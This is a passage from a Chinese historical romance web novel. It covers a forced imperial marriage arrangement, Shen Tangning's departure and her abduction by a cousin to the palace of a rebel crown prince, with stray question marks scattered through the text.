“我晓得,”沈棠宁轻声道:“长忠,你?去查罢,我信你?,倘若那三人?胸怀坦荡,自不用担心?被查。” “夫人?英明!” …… 朱仪君看着?沈棠宁的马车逐渐远去,皱眉道:“她怎么会在此处?” 朱仪君的父亲睿王封地便在河北,睿王前段时日正奉命平叛,而他平日里却?是无诏不得离开封地。 河北距离京师只?有四五天的路程,因此朱仪君自年幼时起便时常会随着?母亲秦氏去京都拜见太?后和隆德帝。 丫鬟说道:“姑娘忘了,谢世子如今不是正在饶阳攻打?叛军张元伦吗?” 说起这?事朱仪君便生气,谢瞻来到?河北竟不去拜见她的父亲,要知道她的父亲可是今上一母同胞的亲弟弟! “我当然知道!可男人?打?仗她一个女人?过来掺和什么!” “这?,这?奴婢便不得而知了。”丫鬟小心?翼翼地看着?自家郡主的脸色。 朱仪君不想再见到?沈棠宁,立即让自家马车调转了马头。 却?说今年朱仪君年方二八,正是碧玉年华,以她的年纪和尊贵的身份原本应当早早就定下了婚事,然而这?两年她却?迟迟不肯定亲,见着?谁都不满意,可把母亲睿王妃秦氏给愁坏了。 奈何朱仪君是秦氏老蚌怀珠,三十五岁时意外怀上的,因此与睿王都格外疼惜这?个小女儿些,几乎是集万般宠爱与一身,当做眼珠子来看待。 朱仪君不愿定亲,每回被催婚都撒娇说还想多陪爹娘几年,睿王不知,秦氏却?是心?知肚明。 女儿恋慕的是那京都中的镇国公世子谢瞻,若是那谢世子的确是个极好的婚配对象。 可朱仪君生来便是天潢贵胄,谢瞻的父亲谢璁手握重权,除非隆德帝昏了头,否则绝不会让两家联姻。 朱仪君正是知晓其中关键,黯然神?伤,这?才多年来不肯成婚,只?因她觉得见过了谢瞻那等英武能干的男子,其它的男子便如鸡埘豕圈中的烂泥一般庸俗无用。 朱仪君自是不知宗逆叛乱当日京都中发生之事,今日无意见到?沈棠宁,以为是谢瞻打?仗之时都离不得沈棠宁,要带上她,更是难受极了,越想越觉得心?里堵得慌,回到?家就缠缠绵绵生了场大病。 在她生病的这?一个月的时间,京都及前线战场却?发生了天翻地覆的变化。 这?日朱仪君无所事事地坐在她的闺房中弹琴,睿王妃秦氏忽欢喜地走了进来,一进来就屏退左右,握着?女儿的手上下看着?笑,越看心?里越高兴,说道:“瞧瞧我女儿如今出落得碧玉似的人?儿……女儿啊,你?终于要得偿所愿啦!” 朱仪君疑惑地看着?秦氏。 “母亲说的,女儿怎么一点儿不明白?” 秦氏笑吟吟道:“还能是哪件事,自是你?心?中夙愿!陛下有意将你?许配给镇国公世子谢临远为妻呀!” 朱仪君腾得从?罗汉床上坐了起来,惊喜万分。 第54章 自谢瞻与卢坤义将张元伦亲弟弟张玄擒获,又?与郭尚合兵将张元伦打得落花流水逐出河北后,张元伦一路收拢残兵败将向河南狼狈逃去?。 然而与此同时,京中?却传来一个噩耗。 十一月初八,山西唯一未被侵占的大同失守,右羽林大将军高桓不得已?带兵退兵居庸关,却因不肯出兵居庸关被隆德帝派去?监军的心?腹太监,素与高桓有隙的孙令成诬告克扣军粮,最终枉死?于孙令成刀下。 高桓非周人,而属句族,也就是原本在隆德帝眼中?与宗缙等人同阵营的蕃将。 高桓不肯出兵居庸关被隆德帝所杀,倘若裴廷易再拒绝出关,只怕会被隆德帝直接归类于宗缙逆党。 但裴廷易怎能不知高桓为何冒着生命危险也不愿出关,那是因朝廷中?央军不敌气?势汹汹士气?高涨的蓟州兵,如果能够做到以逸待劳消耗敌军士气?,才?有取胜的可能性。 但隆德帝一声令下,裴廷易只能硬着头皮出关。 结果不出所料,不到五日那阔便重伤了裴廷易,居庸关一时岌岌可危。 要知道居庸关可是京师最后的一道关卡,倘若居庸关失守,宗缙已?经?在太原登基,那么?那阔兵峰将直指京师,京都这次将彻底沦丧敌手,再不会有半年前那么?好运。 谢瞻与郭尚得知高桓与裴廷易接连出关,同样心?急如焚,两人驰骋沙场多年,料定京都即将有难,可将领无诏回京乃是大罪,这不是明?摆着质疑隆德帝的“英明?”决策? 见郭尚犹豫,谢瞻当机立断,带上五万朝廷军立即回京救驾,由郭尚留守河北,继续追击张元伦。 就在居庸关即将破关的千钧一发之际,谢瞻与卢坤义赶回京师。 所幸不晚,当时那阔将裴廷易在居庸关外野战的五个营寨接连拔掉了四?个,甚至俘虏了监军孙令成。 那阔以为居庸关破关之日近在眉睫,一时得意忘形,放松了警惕,关键时刻竟命手下士兵暂时休战埋锅做饭。 就在这个时候被谢瞻找准了喘息时机,卢坤义偷偷潜入到被那阔拔掉的四?个营寨中?,而谢瞻则带了三千弓弩手和五千骑兵只扑那阔。 孙令成见援军过来,哭爹喊娘让谢瞻救他,谢瞻掳了孙令成和另一名被俘的小太监上了马。 那阔不光手下叛军被谢瞻和卢坤义打得落花流水,本人更被谢瞻一箭射穿了大腿,做了俘虏,最终送到京都面?圣后在菜市口斩首示众。 劫后余生,隆德帝得知谢瞻与卢坤义回京救驾,不仅没有追究两人无诏回京之罪,反对二人大为嘉奖,预备册封卢坤义为神策将军,另赐金银珍宝万两。 而到了侄儿谢瞻的赏赐这里,隆德帝却是犯了难。 “不如陛下为谢世子赏赐一门好亲事?”余公公提议道。 隆德帝道:“他都已?成婚了,何况皇室之中?也并无适龄的公主?人选。” 此一时彼一时,当年隆德帝忌惮谢家,实际上谢瞻娶了沈棠宁之后,隆德帝对谢璁的猜忌淡了不少。 如今国家生死?存亡之际,谢瞻与郭尚立下不世功勋,隆德帝想要拉拢谢瞻,也是不得不出此下策。 余公公笑道:“陛下您忘记啦,宗室之中?却有合适的人选,睿王殿下的掌珠汝阳郡主?,不是恰与谢世子年龄相当嘛?且奴婢尝听闻,汝阳郡主?可是爱慕谢世子已?久!” “至于先前的那桩婚事,世子与那原配沈氏不合乃人尽皆知的事情,便是和离休弃又?如何,谢世子得偿所愿,只会感激陛下您呐!” 隆德帝大喜,立即拟旨,并命余公公和锦衣卫指挥使纪镶亲自去?请谢瞻和郭尚入宫。 …… 纪镶和手下陈慎去?镇国公府时,谢瞻刚接到了紧急军报,准备入宫禀告隆德帝准他出城去?追击叛军余孽。 谢瞻看见了陈慎给他偷使的眼色,但因军情紧急,遂让纪镶代为转奏,快马加鞭出门去?了。 谢璁知晓隆德帝是为赏赐,便代替儿子入了宫。 两日后谢瞻回了镇国公府。 换过衣服过他先去?拜见了阔别许久不见的母亲王氏。 之前回过一次家,却没好好说两句话便又?走了,高桓出关野战那阔时谢璁就早预感到不妙,可惜他也劝服不了隆德帝。 和王氏商量过后,为了保留家中?血脉,以祭拜宗祠为由将家中?最小的两个男孩子十一郎和王氏的亲儿子十二郎,以及温氏圆姐儿送去?了王氏的老家山东琅琊。 也就是说,谢瞻回来的不巧,还是没能见上一眼女儿。 “我见母亲面?色不好,可是身体不舒服?”谢瞻关切地问。 王氏神色复杂地看着儿子,不知如何开?口。 半响,她叹道:“阿瞻,去?书房找你爹吧,他有要紧事与你商量。” 谢瞻出了门,妹妹谢嘉妤坐在景园里发呆,见他走过忙追过去?质问道:“哥哥,我以为你和别的男人都不一样,你怎么?能答应娶朱仪君,你这样让嫂嫂和圆姐儿怎么?办?” 谢瞻摸了下她的头。 “我看你是昏了头,我何时说要娶朱氏了?” 谢嘉妤叫道:“可爹爹都已?经?让娘去?准备聘礼了!” 谢璁书房。 谢璁正在书案前来回走着,忽听“砰”的一声巨响,书房大门被人从外面?踹开?,谢瞻大步流星走到谢璁的面?前,指着谢璁的脸愤怒道:“谁准你给我定的狗屁亲事!” “你疯了,你这逆子,和你爹说话就是这样的态度!”谢璁勃然大怒,一掌扇到了谢瞻的脸上。 扇完过后,谢璁愣住了,似乎也没料到谢瞻会一动不动任由他打了过来。 王氏由秦嬷嬷扶着急匆匆跑了过来,一看眼前这架势,谢璁脸色铁青,气?得气?喘吁吁,尤其?是谢瞻脸上通红的巴掌印,还有什么?不明?白,急忙让秦嬷嬷去?关上门,拦在父子两人的面?前。 “你打他做什么??有什么?话难道不能好好说!”王氏哭道。 谢瞻却低低呵笑了起来,“态度?你想让我有什么?样的态度?还是和你镇国公谢玉衡一样,一辈子做个懦夫?” 谢璁心?神一震。 “你一定想对我说,尚主?会令陛下从此信任我谢家,你想让我和你一样,变成皇权下任由人来摆布的傀儡,一辈子都不敢娶自己喜欢的女人,耽误我娘一辈子。” “我娘死?在契人手里,尸骨无存,你甚至都不敢为她报仇,说她路上发急病病死?,因为你不愿让人知道我娘失了贞洁,死?得不名誉……” “混账,你住口!”谢璁老脸通红,喝断谢瞻。 谢瞻继续道:“从小到大,你有没有关心?过我,我娘死?后不到一年,你便又?立即续娶,”他看向王氏,“姨母,你真的是心?甘情愿嫁进?来吗,这么?多年,心?里就没有一丝一毫的后悔?” 王氏忍泪道:“阿瞻,别再提陈年旧事了,求你了,那些都过去?了!” “不,在我心?里,从来都没有过去?。” 谢瞻眼底满是淡漠的嘲讽,面?上却无比的平静,他看着谢璁一字一句说道:“别妄想把我变成你,我谢瞻不听任何人摆布!” “阿瞻,你去?哪儿,你别想不开?!”王氏急忙拉住谢瞻。 “入宫,求陛下收回成命。” “可圣旨已?经?下了,你若拒婚便是抗旨不尊!” 谢瞻推开?王氏。 “让他去?吧,”谢璁叹道:“若我没猜错,孙令成也不是失足跌下马,是死?在你手里的吧?谢临远,我万没想到我谢玉衡谨言慎行了一辈子,竟生得你天性如此狂悖乖谬,谁也不放在眼中?。” “你莫以为你如今仗着军功和盛宠陛下不会怪罪,帝王之心?深不可测,哪怕你是他最宠爱的侄儿,是先皇后最疼爱的孩子,终有一日你就会明?白了!” 谢瞻毫不留恋地出门,骑上白蹄乌便往皇宫奔去?。 行到棋盘街巷子里时,一道黑影忽纵马追了上来。 “谢临远,你这个架势可不像是入宫谢恩,别告诉我,你是来拒婚的!” 陈慎急道:“谢临远!快停下,你别想不开?!” “滚开?!” 谢瞻对白蹄乌猛一抽鞭子。 白蹄乌嘶鸣起来,四?蹄顿时撒开?了跑。 陈慎震惊不已?,心?道:他果真是发癫了,竟敢抗旨不遵! 谢瞻充耳不闻,消失在陈慎的视线当中?- 沈棠宁坐在马车上,看向在身后不断远去?的城池。 萧砚骑马走到车窗旁边,轻声说道:“江浙一带至今没有落入叛军手中?,这一路十分太平,我们大概有两日就能走出河北了。” 沈棠宁轻轻应了一声。 萧砚踟蹰了片刻,低声说道:“团儿,马上就要见到你娘和圆姐儿了,你难道不开?心?吗?” 话语中?带着几分小心?翼翼。 沈棠宁微微笑道:“自然开?心?。” 萧砚也笑了。 “那便好,到时候我也想见见圆姐儿,听说她生得与你很像,一定是个极乖巧可爱的孩子。” 入了冬后,田垄里的麦子刚收割完毕,偌大的田野光秃秃一片。 “仲昀。” 沈棠宁望着四?周的泥地,忽然说:“你是一个极好的人,也该考虑自己的终身大事了。” 萧砚脸色微变。 “团儿,你知我对你的心?意从未变过,除了你我谁也不会再娶!”他立即急切地回应。 沈棠宁却摇摇头,“人生若晨露,天道邈悠悠。仲昀,世事无常,沧海桑田,这世上不会有一成不变的东西和道理。” 萧砚还欲开?口,长忠打马走了过来,张口便喝斥那驱车的车夫道:“你整日里好好的路不走,偏要走泥泞之处,莫非还要我用鞭子在后头赶你?” 说完挤到萧砚和沈棠宁所坐的马车中?间,冷冷看了萧砚一眼,显然是在指桑骂槐。 萧砚沉着脸走到了前头。 “姑娘,自从三天前在睿王府见过睿王妃和汝阳郡主?以后,你就一直闷闷不乐,昨日收到了京都寄来的家信,今日一早你就要离开?顺德,还是要回我们沈氏老家,这到底是为什么??” 今天一大早沈棠宁就让锦书收拾了东西准备上路,其?实沈棠宁也没什么?物件可收拾,只带了些随身的衣物,和顺德县令告辞过,留下一封给谢瞻的信便离开?了。 萧砚是前两日来的顺德,据他说是目前朝廷与叛军暂时休了战,他运粮时路过顺德,得知沈棠宁在此处,便赶了过来见她。 若不是从萧砚口中?得知目的地是沈氏的老家镇江,锦书还险些以为两人这是终于要回到京都城了! 一腔喜悦激动化?作了泡影,锦书很是失望不解。 说了什么?呢? 沈棠宁垂下长长的睫毛靠在车壁上,回想起当日的情形。 前一日睿王妃亲自给她下帖,殷勤邀请她过府一叙。 她原本十分疑惑,自己与睿王府从无交情。 果然,待到了府内,睿王妃便登时换了一副嘴脸,态度轻蔑地告诫她不要耽误谢瞻的前程,主?动与谢瞻和离。 而她的女儿,曾与沈棠宁有过一面?之缘的汝阳郡主?就在一边赌咒发誓她日后一定会对圆姐儿视如己出,让她安心?离开?谢瞻。 第二日,沈棠宁就收到了来自京城中?公爹谢璁寄来的家信,信中?白纸黑字,告诉她为表谢瞻收服河北失地,两度救驾功勋,隆德帝已?经?下旨册封汝阳郡主?为靖安公主?,意为叛乱平定之意,并命她一个月后便下嫁镇国公府,与谢家结成秦晋之好。 谢璁信中?说道,他知沈棠宁性情温驯贤淑,且生育子嗣有功,不欲无故休妻,据理力争之下,最终让隆德帝允诺令公主?以平妻之礼下嫁谢瞻。 谢璁深知自己这个儿子素来桀骜不驯,与他关系不睦,恐其?不愿和离与皇室联姻,故希望沈棠宁收到信后能从中?劝和,不要让谢瞻犯下大错,后悔无极。 话已?至此,沈棠宁便明?了了。 世人皆以尚主?为无上荣耀,然而对于世代簪缨的贵族子弟来说,姓氏的荣耀甚至超越了至高的皇权,几大贵族之间宁可相互通婚也不愿与皇室联姻。 以谢瞻的性子未必真就愿意尚主?,一辈子屈居于人下。 所以谢璁才?不得已?出此下策,来求助自己这个儿媳。 “从年幼的时候我就一直在想,不靠家族封荫报效国家,凭一己之力成为顶天立地的大将军,就能够保护自己想要保护的人。” 沈棠宁不想耽误谢瞻的前程,他如今正立下不世功勋,是建功立业之时,且两人的关系至多不过是朋友而已?,并无深厚的感情基础,那靖安公主?待他又?一往情深,她离开?就是最好的选择。 萧砚在离开?那日曾问她以后的打算,沈棠宁说:“如今镇江无战乱,我想先回沈氏老家镇江,等到天下太平之日,我再亲自去?找哥哥。” 萧砚似乎也察觉到了沈棠宁有意与他保持距离,每每他想和沈棠宁单独相处说话,谢瞻那名叫做长忠的侍卫就总用警惕和仇恨的眼神瞪他,寸步不离地守在沈棠宁身边。 即便如此萧砚也不愿放弃,他相信只要他愿意等,总会等到沈棠宁回心?转意的那一日。 两日之后的清晨。 驿馆之中?,萧砚从迷迷糊糊中?醒来,觉得大脑甚是昏沉,揉了揉眉心?,刚开?门一个侍卫就匆忙跑了过来。 “不好了大人,谢夫人留下一封信不告而别了!” 萧砚瞬间睡意皆无,急忙拆开?信看。 信中?只有一首词。 一向年光有限身。等闲离别易销魂。酒筵歌席莫辞频。 满目山河空念远,落花风雨更伤春。不如怜取眼前人。 不如怜取眼前人…… 萧砚骑马追出去?时,白云悠悠,青天碧水,那一道熟悉的身影早已?芳踪难寻。 …… 当初谢瞻离开?顺德,在顺德驻扎了五千朝廷军,同时拨给了沈棠宁一个总旗,也就是五十余人的护卫队。 加上谢璁送来的护卫,这一行约莫一百人的队伍,离开?河北后并未如沈棠宁和萧砚约定的那般转水路去?江苏镇江,而是转道去?了山东琅琊。 沈棠宁骗萧砚,女儿和温氏都在镇江老家,其?实这两人都还在琅琊。 公爹谢璁让她先去?琅琊避风头,王氏是山东大族,向来不参与政事,就算是最差的结果,宗缙也绝不愿得罪这些老牌宗族,只会想方设法讨好他们赢得对方支持。 这一路走来,沈棠宁原本以为萧砚会想明?白,她不想耽误萧砚,也不想再欠他,只是这几日无论她暗示还是明?示,萧砚都始终一厢情愿地认为两人还能再重新开?始。 和萧砚分道扬镳后,沈棠宁一行北渡黄河,花了四?五日的时间到了山东境内。 虽说走官道要多花十日的时间才?能到琅琊,如今山东一带也太平无虞,但走官道还是最安全?万无一失的选择。 官道尽头是一望无尽的尘土,而官道四?周,但凡是阴凉之处俱被流民占据,大多以一家老小七八人一行为多。 宗缙张元伦叛乱后,各地流民四?起涌入山东河南等地,沿途以来这样的场景早已?不新鲜,沈棠宁见他们可怜,本想让长忠给他们一些吃食充饥。 然而长忠却十分严肃地说流民太多,倘若分赐食物容易引起骚动,沈棠宁叹了口气?,不得不作罢。 晌午时分,天气?愈发毒辣了起来。 沈棠宁没有驱逐流民所占之地,命车队暂时停靠在无人之处,让长忠从行礼中?找来几匹粗布搭在马车之间,这样大家便都可以在阴凉处休息吃饭。 “哪里来的乞儿来攀亲戚,还不快滚开?!” “大姐姐,救救我,我是芳容,大姐姐!” 争执间,女子凄厉的哭声传来,极是耳熟 锦书掀开?车帘。 “出什么?事了?” 士兵忙道:“是个叫花子,姑娘不必下来,小人这就把她赶走!” “慢着。” 锦书扶着沈棠宁从马车上走了下来,那乞儿看到沈棠宁一时更是激动,几乎要扑到沈棠宁身上,幸好被周围的士兵拦住。 沈棠宁在车上听她声音熟悉,走近一看这女子浑身破烂,蓬头垢面?,面?黄肌瘦,依稀可见面?容是从前的模样。 正是沈弘谦之女,她的堂妹沈芳容。 “姐姐,求你看在我们?*都姓沈的份儿上救救我,我快要饿死?了,姐姐!” 沈芳容跪在地上“砰砰”磕头,声泪俱下。 锦书一愣,旋即忍不住冷笑起来。 “我当是谁,原来是二姑娘!您从前可没少欺负我们姑娘呢,现在怎么?了,落到这般境地倒晓得来求我们姑娘叫一声姐姐了?” 沈芳容哭道:“姐姐,当年都是我太不懂事,可我已?经?没有娘了,爹爹和哥哥至今生死?未卜。叛军攻入京城后,我被掳走……他们凌辱了我,若不是我装死?躲过一劫,今日的我只是一副尸骨了!” 说着便膝行到沈棠宁面?前,倚在她的裙摆下低声啜泣道:“姐姐还记不记得幼时我们常一起在平宁侯府的三角亭子外踢毽子,那时候我们一家无忧无虑多快活!我知道我做了许多的错事……也不敢求姐姐原谅,只求姐姐赏我一口饭吃,让妹妹不至于饿死?,芳容为您做牛做马都使得!” “带她去?换身衣服,吃些东西吧。” 沈棠宁对碧玉嘱咐完,转身上了马车。 沈芳容在身后又?是一阵磕头声。 两人回到马车里,锦书叹道:“二姑娘这般,也是怪可怜的,大约这便是可恨之人必有可怜之处吧!” 这样兵荒马乱的世道,不知何时才?有个头。 两人感慨了一回,沈芳容重新梳洗换过了衣服,坚持过来给沈棠宁磕头谢恩。 沈棠宁说不必,她并不想见沈芳容,只让侍卫给她单独安排了一辆马车,先去?吃了饭。 她的确是有些可怜沈芳容,毕竟让她硬下心?肠对这个有血缘之亲的妹妹视而不见,相当于断了她的生路,沈棠宁做不到。 但也能想到倘若来日她落到这个境地,沈芳容却不一定会救她。 沈芳容自又?是一番千恩万谢不提。 闲言少叙,七日之后,车队行至德州平原,在平原驿站下榻。 到半夜时,驿站的库房不知怎的忽起了大火,众人纷纷提了水桶去?灭火,整个驿站乱成一锅粥。 虽然走水的库房距离沈棠宁住的客房尚远,长忠仍是不放心?,放下水桶跑到沈棠宁住的客房门口轻敲,不见有人来开?门,又?用力敲了几下,仍是没有任何动静。 长忠莫名心?慌了起来,二话不说撞开?房门奔了进?去?。 却见房内床上哪里还有沈棠宁的影子,长忠急忙摇醒在一旁睡得正香的锦书,问她沈棠宁去?了何处,锦书茫然不知,听闻沈棠宁不见了,花容失色。 长忠自知闯下大祸,那库房失火极有可能是对方调虎离山之计,而锦书能睡得这么?死?,必定是熟人作案! 待他与锦书去?寻那数日前从流民群中?救出的沈芳容时,沈芳容早已?消失不见。 第55章 太原行宫。 婢女捧着菜碟跪在宗瑁身边战战兢兢道:“太、太子殿下,奴婢无论如何劝说,谢夫人都不肯吃……” 宗瑁一怒之下拂落了所有?的?菜碟,怒气冲冲要去沈棠宁所住的?寝殿。 “殿下且息怒!” 沈芳容不知何时悄然走了进来,笑吟吟地走到宗瑁身边,替他斟了一盏酒。 宗瑁眼中闪过?一抹嫌恶。 “你来做什么?”他一动不动。 沈芳容脸上的?笑容一时僵住。咬了咬唇,脸上又重新挂起笑容,柔声道:“殿下,芳容有?法?子能让姐姐吃饭,不再绝食。” 自从沈棠宁被沈芳容掳来太原之后,她就再没吃过?一口饭,如今躺在床上奄奄一息,见到宗瑁就装瞎闭眼,一眼都不愿看他。 宗瑁甚至不敢再去看沈棠宁,让婢女们把屋子里所有?能自尽的?尖锐之物都收了起来,唯恐她自尽,又被她的?绝食气得食不下咽,心中烦恼极了。 “你有?什么好法?子?” 沈芳容指尖抚上宗瑁的?衣襟,来回摩挲,羞涩低首道:“早在京都之时,芳容便倾慕太子殿下已?久,可惜殿下满心满眼都只有?姐姐……芳容至今仍是完璧之身,若殿下不嫌弃,今夜愿自荐枕席,侍候殿下。” 隆德帝大寿当日,宗瑁随宗缙攻入京都,当时京都大街小巷一片骚乱,到处都是横行的?叛军和?尸体,宗瑁一早知道沈棠宁在普济寺,但为了以?防万一,还特意派人去平宁侯府保护沈氏一家。 沈芳容正是瞅准了这个机会,求宗瑁的?属下将她带走,否则留在京都,她已?因郭氏下狱被毁坏了名?声,成了嫁不出去的?老姑娘,一辈子无法?为她娘报仇。 而跟着宗瑁,说不定日后宗缙荣登大宝,她还能跟着宗瑁鸡犬升天! 宗瑁眯眼看了她片刻,说道:“你和?你姐姐当真是不同的?性?子,”依然没去理会沈芳容递来的?酒,“说吧,你想要什么赏赐。” 这便是明确拒绝沈芳容的?意思了。 沈芳容怎能甘心,不仅不收回手,反而扯下衣衫,把整个胸口都依偎在了宗瑁的?身上,抽抽搭搭地哭了起来,“我不要赏赐,殿下是不是嫌弃我……” 宗瑁耐心终于告罄,蓦地抓住沈芳容的?头发将她扯开,疼得沈芳容尖叫一声。 “沈芳容,我对你这种?连亲姐妹都出卖的?下贱女人不感兴趣!” 沈芳容扑倒在地上,头皮痛到发麻,又咬着牙爬到他身边道:“太子殿下,我真的?喜欢您,想留在您身边伺候……” 宗瑁掐着她的?脖子。 “别以?为你能威胁孤,你要是想现在死,孤也能成全你。” 沈芳容几乎被他扼死,翻着白?眼颤声道:“殿……我……我……愿意,我……错……了,求……” …… 沈棠宁闭着眼躺在床上。 沈芳容端着一碗粥走到床边坐下。 “姐姐,我知道你恨我,在太原行宫这么多?天,你连一个正眼都不给我。” “既然你都已?经这么恨我了,那?不妨我再告诉你一个秘密?你还记不得隆德三十年的?那?个冬天,你的?未婚夫忠毅侯邀请你去参加他那?皇孙侄儿的?周岁宴……哦,就是你和?镇国?公世子苟合的?那?天,那?日我和?我娘是沾了你的?光才有?幸进了东宫,宴席还未开始时去如厕,在一块假山后面,你猜我听到了什么?” 沈棠宁颤抖着睁开了眼。 “有?两人说,要给谢世子的?酒里加点料,将他在未正一刻时扶到梧桐殿左边第二个更衣室里,一刻钟之后,他会再把另一个女人送到谢世子的?床上……” 说到此处,她捂嘴笑了起来,“姐姐啊,我想这等好事我怎么能忘了你!” “从小到大,凡是好的?吃穿爹娘都紧着给你,我却只能捡你剩下的?不要的?,就算是好的?亲事娘也要先给你去争取,明明我才是爹娘的?女儿,可他们却宁可给你一个克死亲爹和?亲哥哥的?侄女筹谋也不愿去为我寻一门好亲事!” 说到此处沈芳容更是笑得前仰后合,甚至笑出了眼泪。 “凭什么,凭什么啊!我不甘心!我就不想看你嫁成如意郎君,我就是见不得你好!所以?我把你灌醉扶进了那?间屋子,我要让你名?声尽毁再也嫁不成萧仲昀!” “啪”的?一声,沈棠宁坐起来给了她一巴掌。 “……” 沈芳容捂着脸,慢慢直起腰来看向愤怒的?沈棠宁,忽嗤的?一笑。 “姐姐,你知道吗?你就连生气的?样子,都比别的?女人要好看上十分,怪不得这么多的男人都愿意为你神魂颠倒。” “你疯了。”沈棠宁说道。 沈芳容冷笑:“是,没错,我疯了!我早就疯了!从我娘死的时候,从我去镇国?公府求你,你却让人把我赶出去的?那?一刻,我就发誓日后绝不要你好过!” “你凭什么认为你去求我,我就一定要帮你?沈芳容,从小到大你爹娘都只将我视为攀附的?工具,何曾给过我半分真心!我以?为你爹给我的?温情与疼爱,是他背地里企图胁迫逼.奸我娘!你以?为锦衣玉食,是你娘不顾我的?意愿要把我嫁给年纪可以?做我爹的男人去换取为你爹晋升的?机会!我在她的?眼中,永远只是待价而沽的?工具,而你却是她的亲生女儿!” 沈棠宁怒极反笑,“明明你得到的?已?经是别人求之不得的?珍宝,你却来羡慕我……你才是真正的?愚蠢,愚不可及!” “你放屁!你这样说只是因为已?经得到了所有?的?一切!我以?为毁了你与萧家的?亲事,你就只能给谢临远做妾,可他竟然愿意娶你为妻,还让自己的?贴身侍卫来保护你!就连萧仲昀,宗瑁……都是你的?裙下之臣,你生了孩子他还对你念念不忘,千里迢迢让我去带你回太原……” 沈棠宁听着她喋喋不休的?控诉,心知沈芳容已?经走火入魔,指着大门平静道:“你滚出去,我不想再见你,从今往后,我也没你这个妹妹,你也休想让我屈服于宗瑁。” 沈芳容被她打断,却并?不恼怒,只“呵呵”笑道:“姐姐,你先别急着赶我走,你就不想知道你娘和?我的?小侄女圆姐儿如今在何处?” 沈棠宁悚然一惊,“你什么意思?” “没什么意思,只要姐姐你肯听我的?话,乖乖吃饭,我自然会好生善待我的?侄女和?你娘。” 沈棠宁说道:“你说谎,我娘和?圆儿根本就不在你的?手中!” 琅琊王氏百年士族,便是宗瑁再神通广大,也不可能神不知鬼不觉地把一个女人和?孩子掳走。 沈芳容淡淡道:“信不信由你,但我知道,就算我说的?是假话,姐姐你也不敢去赌!” “你——” 沈棠宁指着沈芳容那?张恶毒的?脸,一时气血攻心,却因太久没有?进过?一滴水米,头晕目眩,终于支撑不住又倒在了床上。 “既然你如此恨我,我死了你岂不是得偿所愿?” 沈芳容命人把殿门重新锁上,隔着殿门,她冷酷的?话语一字一句地传入了沈棠宁耳中。 “因为我太知道,让你这样屈辱地活着,委身一个你最厌恶的?男人,会比让你死了更难受。”- 谢瞻离开河北时颇为仓促,幸有?郭尚等人严守河北南侧防线,以?防张元伦反扑。 而张元伦的?主力部队先前被谢瞻打得落花流水,但凡对战无不屡战屡败,军中几乎人人闻谢瞻名?声丧胆,对反扑一事有?心无力。 故纵使这段时间是张元伦收回河北所占失地的?最佳时机,士气低迷,他也不得不狼狈逃去河南,退守河南开封府。 却说谢瞻拒婚朱仪君后从京都一路星夜疾驰赶往河北顺德,十日之后到达顺德,从长忠口中得到的?却是沈棠宁被掳走的?消息。 以?及,她给留给他的?一封和?离书?。 沈棠宁告诉长忠,说她不想耽误谢瞻的?前程,担心他不愿娶公主,所以?给谢瞻留了一封信劝说,希望长忠能够保守秘密,不要将此事告诉任何人。 谢璁也命长忠护送沈棠宁去琅琊,并?严令他不许传信给谢瞻,长忠觉得尚主是好事,就答应了沈棠宁的?请求,谁知沈棠宁根本就是骗他。 那?不是劝和?信,而是一封和?离书?! 长忠懊悔不已?,他怎么也想不到沈棠宁会直接和?离,跪地愧疚道:“是属下看丢了夫人,全怪属下识人不清,疏忽职守,如今万死莫能赎罪!” 谢瞻把和?离书?死死揉成一团,脸上仿佛笼罩了一层万年寒霜。 “事已?至此,你现在说这些还有?什么用。” 卢坤义在一旁诧异道:“你说是谢夫人的?堂妹劫走了谢夫人,可这一个弱女子,如何在众目睽睽之下放火劫人?” 长忠同样不解,思忖片刻,忽又想到一事,忙将沈棠宁那?次险些被拍花子掳走之事告诉了谢瞻。 “世子,莫非是那?些契人干的??”但若真是契人所为,他们又何苦费力又救下夫人? 谢瞻却闭目道:“不必猜了,那?些人根本不是拍花子。” 除了那?个人,他真想不到还有?谁能如此无耻下作,如此对沈棠宁念念不忘!- 太原行宫中,歌声靡靡,舞姬们个个身段窈窕,眼神妩媚,摇摆之间香风阵阵,环佩叮当。 宗瑁看得入迷,扭头却见沈棠宁长睫低垂,目光呆呆不知盯向何处,突然拍了拍手。 等众人都看向他的?时候,他微微一笑。 “来人,把她们全都拉出去砍了!” 舞姬们顿时都花容失色,纷纷跪在地上哭着求饶。 “你又做什么,为何无缘无故要杀她们?”沈棠宁难以?置信。 “她们跳得不能讨你欢心,自然该杀!”宗瑁冷冷道。 沈棠宁知道,宗瑁绝对能做出这种?事。 因为就在昨日,她只是没胃口不愿吃饭,他竟将给她做饭的?厨子全都杀了,还特意带着事先不知情的?她去观刑。 听到那?些厨子们凄厉的?喊叫,沈棠宁吓得当场晕了过?去,当夜做了一整晚的?噩梦,只要她闭上眼睛就会忍不住想到那?些血淋淋的?画面,怎么还能高?兴得起来? “她们跳的?,自然都是极好的?,是我不懂欣赏。” 沈棠宁强颜欢笑说道。 她本想笑一声,奈何实在笑不出来,笑得简直比哭还要难看。 就是这个勉强至极的?笑容,叫宗瑁的?怒气一下子直冲天灵盖,登时再也控制不住自己,上前一脚踹翻了她面前的?桌案,从位置上拽起来。 “你到底还要怎么样!这几日我对你百依百顺,锦衣玉食荣华富贵!你要什么我给你什么!你却对我连笑一下都这么难?” 沈芳容骗沈棠宁温氏和?圆姐儿在宗瑁手中,沈棠宁不得已?放弃了绝食,宗瑁原本十分高?兴,但沈棠宁一直要求见温氏和?女儿,宗瑁拿不出来人,只能含糊地诓骗她。 谁知沈棠宁冰雪聪明,见他每天只是敷衍她,渐渐明白?过?来是沈芳容的?计策。 宗瑁气坏了,于是只要她不肯吃饭,他就要大开杀戒,效果?自然是立竿见影,如此两次她就学乖了。 人却每天郁郁寡欢,如同一朵娇艳盛放的?牡丹花悄无声息地迅速枯败了下去。 沈棠宁垂目道:“我笑不出来,你要我笑多?少次也是一样,我早就说过?我不喜欢你,你再问我一千次一百次我也是同样的?回答。” 说罢闭上了眼睛,一副引颈待戮的?模样。 宗瑁恼恨地瞪着沈棠宁,却又对她束手无策,无可奈何。 不是没想对她用过?强,但她一掉眼泪他又心疼得不行,舍不得强迫委屈她。 想等她回心转意愿意接纳他,她又每天这个要死不活的?样子来气他! 两人大眼瞪小眼了半响,宗瑁松开了沈棠宁,挥退了舞姬,坐下来独自喝着闷酒,忽外面人匆匆来报:“不好了,不好了太子殿下,陛下来了!” 宗瑁手中的?酒盏失手掉落在地。紧接着,沈棠宁被他猛地扯了起来,几乎是拖扯着就往外快步走去。 